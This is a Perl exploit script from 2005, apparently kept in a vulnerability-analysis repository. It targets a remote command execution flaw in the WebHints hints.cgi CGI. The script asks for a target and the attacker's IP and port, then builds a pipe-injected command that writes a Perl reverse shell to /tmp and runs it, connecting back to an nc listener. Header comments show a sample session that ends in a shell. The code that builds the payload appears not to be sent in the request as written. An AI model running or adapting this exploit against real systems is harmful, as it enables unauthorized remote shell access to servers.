lilbool/vuln-code-analysis

1#!/usr/bin/perl -w

2#

3#

4#emanuele@blackbox:~$ perl M4DR007-hints.pl

5#

6#

7# ~~ www.madroot.edu.ms Security Group ~~

8#

9# WebHints Software hints.cgi

10# Remote Command Execution Vulnerability

11# Affected version: <= all

12# ~~ code by MadSheep ~~

13#

14#

15# 06.11.2005

16#

17#

18#hostname:

19#localhost

20#port: (default: 80)

21#80

22#path: (/cgi-bin/)

23#/cgi-bin/

24#your ip (for reverse connect):

25#127.0.0.1

26#your port (for reverse connect):

27#7350

28#

29#

30#~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~

31#[*] try to exploiting...

32#[*] OK!

33#[*] NOW, run in your box: nc -l -vv -p 7350

34#[*] starting connect back on 127.0.0.1 :7350

35#[*] DONE!

36#[*] Look netcat windows and funny

37#

38#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

39# WARNING - WARNING - WARNING - WARNING

40#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

41#

42#If connect back shell not found:

43#- you do not have privileges to write in /tmp

44#- Shell not vulnerable

45#

46#

47#We r: MadSheep - Punish3r - Spastic_eye - seth - Groove - Mrk

48#

49#

50#emanuele@blackbox:~$

51#

52#

53#emanuele@blackbox:~$ nc -l -vv -p 7350

54#

55# uid=1001(madhseep) gid=1001(madsheep) grupos=1001(madsheep)

56#

57#

58#

59# Come cheer us at #madroot on Freenode ( irc.freenode.net )

60#

61# (C) 2005 Copyright by madroot Security Group

62#

63#############################################

64use IO::Socket;

65

66print "\n\n ~~ www.madroot.edu.ms Security Group ~~ \n\n";

67print " WebHints Software hints.cgi\n";

68print " Remote Command Execution Vulnerability\n";

69print " Affected version: <= all \n";

70print " ~~ code by MadSheep ~~\n\n\n";

71print " 06.11.2005\n\n\n";

72

73

74print "hostname: \n";

75chomp($server=<STDIN>);

76

77print "port: (default: 80)\n";

78chomp($port=<STDIN>);

79$port=80 if ($port =~/\D/ );

80$port=80 if ($port eq "" );

81

82print "path: (/cgi-bin/)\n";

83chomp($path=<STDIN>);

84

85print "your ip (for reverse connect): \n";

86chomp($ip=<STDIN>);

87

88print "your port (for reverse connect): \n";

89chomp($reverse=<STDIN>);

90

91

92print " \n\n";

93print "~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~\r\n";

94

95print "[*] try to exploiting...\n";

96

97$string="/$path/hints.pl?|cd /tmp;echo ".q{use Socket;$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die("Error: $!\n");$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");connect(SOCKET, $paddr) || die("Error: $!\n");open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");system($execute);close(STDIN)}." >>cbs.pl;perl cbs.pl $ip $reverse|";

98

99print "[*] OK! \n";

100print "[*] NOW, run in your box: nc -l -vv -p $reverse\n";

101print "[*] starting connect back on $ip :$reverse\n";

102print "[*] DONE!\n";

103print "[*] Look netcat windows and funny\n\n";

104$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => tcp)

105or die;

106

107

108print $socket "POST $path HTTP/1.1\n";

109print $socket "Host: $server\n";

110print $socket "Accept: */*\n";

111print $socket "User-Agent: M4DR007\n";

112print $socket "Pragma: no-cache\n";

113print $socket "Cache-Control: no-cache\n";

114print $socket "Connection: close\n\n";

115

116print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

117print " WARNING - WARNING - WARNING - WARNING   \r\n";

118print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\n";

119print "If connect back shell not found:\n";

120print "- you do not have privileges to write in /tmp\n";

121print "- Shell not vulnerable\n\n\n";

122print "We r: MadSheep - Punish3r - Spastic_eye - seth - Groove - Mrk\n\n\n";

123

124# milw0rm.com [2005-06-11]